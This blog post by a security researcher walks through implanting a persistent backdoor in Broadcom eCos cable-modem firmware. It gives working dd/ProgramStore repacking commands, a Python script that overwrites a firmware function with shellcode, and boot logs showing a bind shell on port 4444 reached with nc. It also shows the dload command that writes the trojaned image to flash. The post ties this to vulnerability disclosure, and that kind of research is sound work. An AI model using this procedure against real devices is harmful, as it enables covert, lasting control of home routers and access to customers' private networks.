Broadcom eCos | Gaining Persistence with Firmware Implants

"Backdoors" by amidnightpoem is licensed under CC BY-NC-SA 2.0

When I sent out my first vulnerability report for a memory corruption issue affecting a Broadcom based eCos device, the conclusion stated:

By chaining these vulnerabilities an attacker can gain unauthorized access to customers LAN (over the Internet or by being in reception range of the access point), fully compromise the router, and leave a persistent backdoor allowing direct remote access to the network.

At that point I was confident that backdooring would be possible but I did not have definitive proof yet. This article will explore how we can achieve that by building a backdoored firmware.

Firmware Repacking

The first steps to investigate whether we can run a backdoored firmware is to unpack, modify, repack, and try to run the re-packed firmware.

We have an extracted Broadcom eCos firmware file from the manufacturer ASKEY, provided to Orange Belgium ISP. The first step is to get rid of all the null bytes padding at the end of the file, otherwise ProgramStore repacking will fail.

From the output below, we see that content from 0x01965f50 to 0x06000000 is full of null bytes:

hexdump -C TCG300-D22F.out | tail
01965ee0  81 96 61 a0 81 37 c5 20  81 96 61 a0 81 37 c5 10  |..a..7. ..a..7..|
01965ef0  81 96 61 a0 81 37 c4 fc  81 96 61 a0 81 37 c4 ec  |..a..7....a..7..|
01965f00  81 96 61 a0 81 37 c4 d8  81 96 61 a0 81 37 c4 c8  |..a..7....a..7..|
01965f10  53 6f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |So..............|
01965f20  81 96 61 a0 81 37 c5 b8  00 00 00 01 3f ff ff fc  |..a..7......?...|
01965f30  00 00 00 00 81 96 61 a0  81 37 c5 f8 81 96 61 a0  |......a..7....a.|
01965f40  81 37 c6 98 00 00 00 00  00 00 00 00 00 00 00 00  |.7..............|
01965f50  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
06000000

We can remove them easily with dd:

# TODO: find the beginning of null bytes
# with lots of null bytes at the end, the LZMA decompression fails
# for some reason
dd if=TCG300-D22F.out of=implant.in bs=1 count=26632016 status=progress

Now let’s replace a string in place with sed:

sed -i 's/Orange/Grapes/g' implant.in

And repack the firmware into a ProgramStore file with Broadcom’s utility:

ProgramStore -d -f implant.in -a 0x80004000 -c 4 -o implant.out
Using LZMA Compression.
before compression: 26632016  after compression: 5438345
Percent Compression = 79.58

Header info
===========
Signature:     0x3350
Control:       0x5
MajorRevision: 0x00
MinorRevision: 0x00
CalendarTime:  1613393501
Filelength:    5438345
LoadAddress:   0x80004000
Filename:      implant.out
Hcs:           0x6bdd
reserved:      0x0
crc:           0xe4468dd6

infilename1:   implant.in

Now all we have to do is boot the device, go into the bootloader menu by pressing ‘p’ and run a firmware in RAM from a file loaded over TFTP:

Enter '1', '2', or 'p' within 2 seconds or take default...
. p

Board IP Address  [192.168.100.1]:
Board IP Mask     [255.255.255.0]:
Board IP Gateway  [0.0.0.0]:
Board MAC Address [00:10:18:ff:ff:ff]:

Internal/External phy? (e/i/a)[a]
Detecting switch, switch_id=0x5075
Switch detected
Using GMAC1, phy 1

Enet link up: 1G full


Main Menu:
==========
  b) Boot from flash
  c) Check DRAM
  g) Download and run from RAM
  d) Download and save to flash
  e) Erase flash sector
  m) Set mode
  s) Store bootloader parameters to flash
  i) Re-init ethernet
  r) Read memory
  w) Write memory
  j) Jump to arbitrary address
  p) Print flash partition map
  E) Erase flash region/partition
  X) Erase all of flash except the bootloader
  z) Reset
TFTP Get Selected
Board TFTP Server IP Address [192.168.100.10]:  
Enter filename [TCG300-D22F.EG00.15.01.OBE.01.05.06-E-161110.bin]: implant.out

Destination: a4000000
Starting TFTP of implant.out from 192.168.100.10
Getting implant.out using octet mode
--snip--
Tftp complete
Received 5438437 bytes

Image 3 Program Header:
   Signature: 3350
     Control: 0005
   Major Rev: 0000
   Minor Rev: 0000
  Build Time: 2021/2/15 12:51:41 Z
 File Length: 5438345 bytes
Load Address: 80004000
    Filename: implant.out
         HCS: 6bdd
         CRC: e4468dd6

WARNING: Signatures do not match!  This may be a bad image!
Image sig = 3350, PID = d22f

Store parameters to flash? [n] n 

--device boots up normally--

To serve the file, you can use ptftpd:

sudo iptables -t nat -A PREROUTING -p udp -d 192.168.100.10 --dport 69 -s 192.168.100.1 -j REDIRECT --to-ports 6969
ptftpd -v -p 6969 eno1 `pwd`

The device boots normally, our changed string is visible, this means that neither the bootloader or the operating system enforce firmware authenticity checks or secure boot.

We can move on and try to insert an actual backdoor into the firmware.

Arbitrary Code Injection

I identified one interesting function that I had renamed ‘StartupServer’. This function performs some operations related to remote console access via telnet, but is not crucial to the device operation.

The function spans from offset 0x805f4434 to 0x805f4b28, and the idea will be to overwrite that section with our own custom payload.

The payload I designed will launch a thread named ‘payload’, exposing a bind shell on port 4444:

We need to edit the linker script and put the right offset, which corresponds to the start address of StartupServer function:

SECTIONS
{
  . = 0x805f4434;
  .start : { *(.start) }
  .text : { *(.text) }
  .data : { *(.data) }
  .rodata : { *(.rodata) }
}

I wrote this quick and dirty Python script to overwrite a given section with custom shellcode:

#!/usr/bin/env python3
import sys

LOAD_ADDRESS = 0x80004000

if __name__ == "__main__":

    if len(sys.argv) < 5:
        print("Usage: {} firmware shellcode start end")
        sys.exit(-1)

    firmware_file = sys.argv[1]
    shellcode_file = sys.argv[2]
    start_offset = int(sys.argv[3], 16) - LOAD_ADDRESS
    end_offset = int(sys.argv[4], 16) - LOAD_ADDRESS

    available_space = end_offset - start_offset

    print("Available space: {} bytes".format(available_space))

    with open(shellcode_file, 'rb') as f:
        shellcode = f.read()

    if len(shellcode) > available_space:
        print("Not enough available space to fit shellcode")
        sys.exit(-1)

    padding = b"\x00" * (available_space - len(shellcode))

    print("Overwriting firmware file with shellcode.")
    with open(firmware_file, 'r+b') as f:
        f.seek(start_offset)
        f.write(shellcode)
        f.write(padding)

Let’s inject our shellcode:

cp firmware.clean firmware.implant
./inject.py firmware.implant ~/git/ecoshell/bindshell_thread.bin 0x805f4434 0x805f4b28
Available space: 1780 bytes
Overwriting firmware file with shellcode.

We repack it, serve it over TFTP and let it boot. As we can see from the boot logs below, our malicious code is executing successfully.

Note that if we wanted our code to run in a single window without being preempted by the scheduler, we could add calls to cyg_scheduler_lock and cyg_scheduler_unlock. This way our logs would no longer be spread around in the boot logs :)

--boot--
ItcRxThreadCreating SNMP agent eRouter Proxy Agent
eRouter Proxy Agent disabling management.
eRouter Proxy Agent deferring traps.
Enabling SNMP proxy
Vendor CM Agent w/ BRCM Factory Support destroying notifies...
[!] LAUNCHING BACKDOOR
Warning: service [: Current IP address is default 0.0.0.0.

Configuring IP stack 2:  IP Address = 192.168.100.1
[+] Launching bind shell on 0.0.0.0:4444
--snip--
[00:00:19 01/01/1970] [tStartup] BcmNonVolDeviceDriverBridge::WriteSync:  (NonVol Device) Synchronous write to dynamic nonvol section succeeded
BcmSnmpThread starting thread operation.
Received RG Event 0x80000001 State 0x0
Received eRouter BOOTED event from RG
Enabling SNMP proxy
Initializing Net-SNMP transport for IPv4
Initializing Net-SNMP transport for IPv6
SNMP startup complete.
SpecA - IP Stack address is 0.0.0.0
mongoose set_ports_option: listening on:(IPv4) 0.0.0.0; port:8080
[+] bind successful
--snip--
AVS Thread Start:Arming poll timer....
NvPollMilliseconds = 1000
RMON = 1.042, sigma = 0.702
[+] listen successful0PMC AVS Thread Start: Done.

The device is fully functional, and we have a bind shell:

nc 192.168.22.1 4444
ls
!               ?               REM             call            cd
dir             find_command    help            history         instances
ls              man             pwd             sleep           syntax
system_time     usage
----
btcp            con_high        cpuLoad         cpuUtilization  exit
mbufShow        memShow         mutex_debug     ping            read_memory
reset           routeShow       run_app         shell           socket_debug
stackShow       taskDelete      taskInfo        taskPrioritySet taskResume
taskShow        taskSuspend     taskSuspendAll  taskTrace       version
write_memory    zone
----
[80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter]
[embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient]
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
[tr69]

Our malicious thread (payload) is visible:

CM> taskShow

  TaskId               TaskName              Priority   State
---------- --------------------------------  --------  --------
--snip--
0x84d4b358                  eRouterMsgPipe      23       SLEEP
0x84d451f4                     Trap Thread      23       SLEEP
0x84d2d7e4              CmPropaneCtlThread      23       SLEEP
0x84d26e94                     IGMP Thread      23       SLEEP
0x805f4a78                         payload      23       SLEEP
0x84d23304               NetToMedia Thread      23       SLEEP
0x84e67b24                     SNMP Thread      23       SLEEP
0x84b623e8                HttpServerThread      23       SLEEP
--snip--

This device is quite unique in that it runs on two cores, one dedicated to cable modem work (CM) and the other dedicated to network routing (RG). Each of them expose a specific console, and you need to run code from a specific context to execute within CM or RG. Interestingly, we have two functions named StartupServer:

So if you are targeting a Broadcom device that expose two consoles (these are rare), and that you really want to gain access to both, you’d have to also replace the second function. We can imagine the CM console exposed on port TCP/4444 and the RG console exposed on port TCP/5555.

Implant Writing Shellcode

I was initially planning on writing my own client to write the backdoored firmware to flash when I found out that broadcom devices implement multiple update commands:

The difference between ip_hal and docsis_ctl is the route that the TFTP request will take when fetching the file from a remote host, but I won’t cover DOCSIS networking internals here.

Here’s the command documentation:

CM/IpHal> help dload

COMMAND:  dload

USAGE:  dload  [-i Number] [-l] [-f] IpAddress Filename{255}

DESCRIPTION:
Downloads the specified s/w image from the TFTP server and stores it in the
image slot specified.  The image must be valid for the platform, and must not
contain any security, encryption, or digital signatures.  It must be a simple
image file with only the normal ProgramStore compression header.  Parameters:

  -i  -- Specifies the image slot to store the image to.
  -l  -- Allows a large image to be stored, spanning images 1 and 2, if
         allowed by the flash driver configuration.
  -f  -- Forces the given image to be accepted, as long as the CRCs are
         valid.

Note that you must always specify the TFTP server address and filename;
unlike the dload command in the Docsis directory, this command doesn't make
use of any Docsis-specific nonvol settings, so it can't remember the last
values used.

EXAMPLES:
dload 11.24.4.3 vxram_sto.bin       -- Stores the image to the default image
                                       slot.
dload -i 1 11.24.4.3 vxram_sto.bin  -- Store the image to slot 1.

A quick demo with our malicious firmware:

CM/IpHal> dload -i2 192.168.100.10 implant.out


WARNING:  This will be applied to all 10 registered instances!
Do you really want to do this? (yes|no) [no] yes

Instance (0):  IP Stack1 (0x84d735bc)

Selecting IP stack 2 (statically configured).
Opening file 'implant.out' on 192.168.100.10 for reading...
[00:06:38 01/01/1970] [ConsoleThread] Tftp Client::GetReply:  (Tftp Client) Timed out on socket select!
[00:06:38 01/01/1970] [ConsoleThread] Tftp Client::Send:  (Tftp Client) Attempt #(1) Backoff (1) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
[00:06:38 01/01/1970] [ConsoleThread] Tftp Client::Send:  (Tftp Client) TFTP blocksize value returned by server: 1448
Reading from TFTP server...
Sniffing the image header...
ProgramStore header was verified.  Image can be downloaded.
[00:06:38 01/01/1970] [ConsoleThread] BcmProgramStoreDeviceDriverBridge::Open:  (Program Store Device) 
Opening image number 2.
Storing data to the device...
Reading from TFTP server...
Storing data to the device...
--snip--
Tftp read < 1448 bytes, we have reached end of file.
Tftp transfer complete!
TFTP Settings:
            Stack Interface = 2
          Server Ip Address = 192.168.100.10
         Server Port Number = 69
          Total Blocks Read = 3756
           Total Bytes Read = 5438437

Storing data to the device...
NandFlashWrite warning: Request to write partial page!  offset 3b20000, length 64485
0x9907a Computing CRC32 over the image to ensure that it is valid...
NandFlashRead: Detected out-of-order block @offset 0x3b30000, tagged offset 0xffffff00, expected offset 0x530000
NandFlashRead: Failed to find replacement block!

And here’s the documentation for the bootloader update command:

CM/IpHal> help bootloader

COMMAND:  bootloader

USAGE:  bootloader  [-f] IpAddress Filename{255}

DESCRIPTION:
Downloads the specified bootloader image from the TFTP server and stores it
to the bootloader region.  The image must be valid for the platform, and must
have a ProgramStore header (but no compression).

EXAMPLES:
bootloader 11.24.4.3 bootloader3360_2_1_2_c0.bin     -- Upgrades the
                                                        bootloader.
bootloader -f 11.24.4.3 bootloader3360_2_1_2_c0.bin  -- Accepts a bootloader
                                                        with non-matching
                                                        signature.

I did not test it yet with a backdoored bootloader image, but I’ll make sure to edit this post when I do.

Conclusion

Over the course of this article, we learned how to unpack, implant, and repack a Broadcom eCos firmware file. We then explored ways of running our malicious firmware file: loading over TFTP and running on RAM for debugging purposes, and writing to NAND flash for persistence.

We therefore proved our initial hypothesis that said “and leave a persistent backdoor allowing direct remote access to the network”.

As always, if you have any question feel free to contact me via Twitter or email.


Tagged #ecos, #broadcom, #implant, #firmware, #backdoor.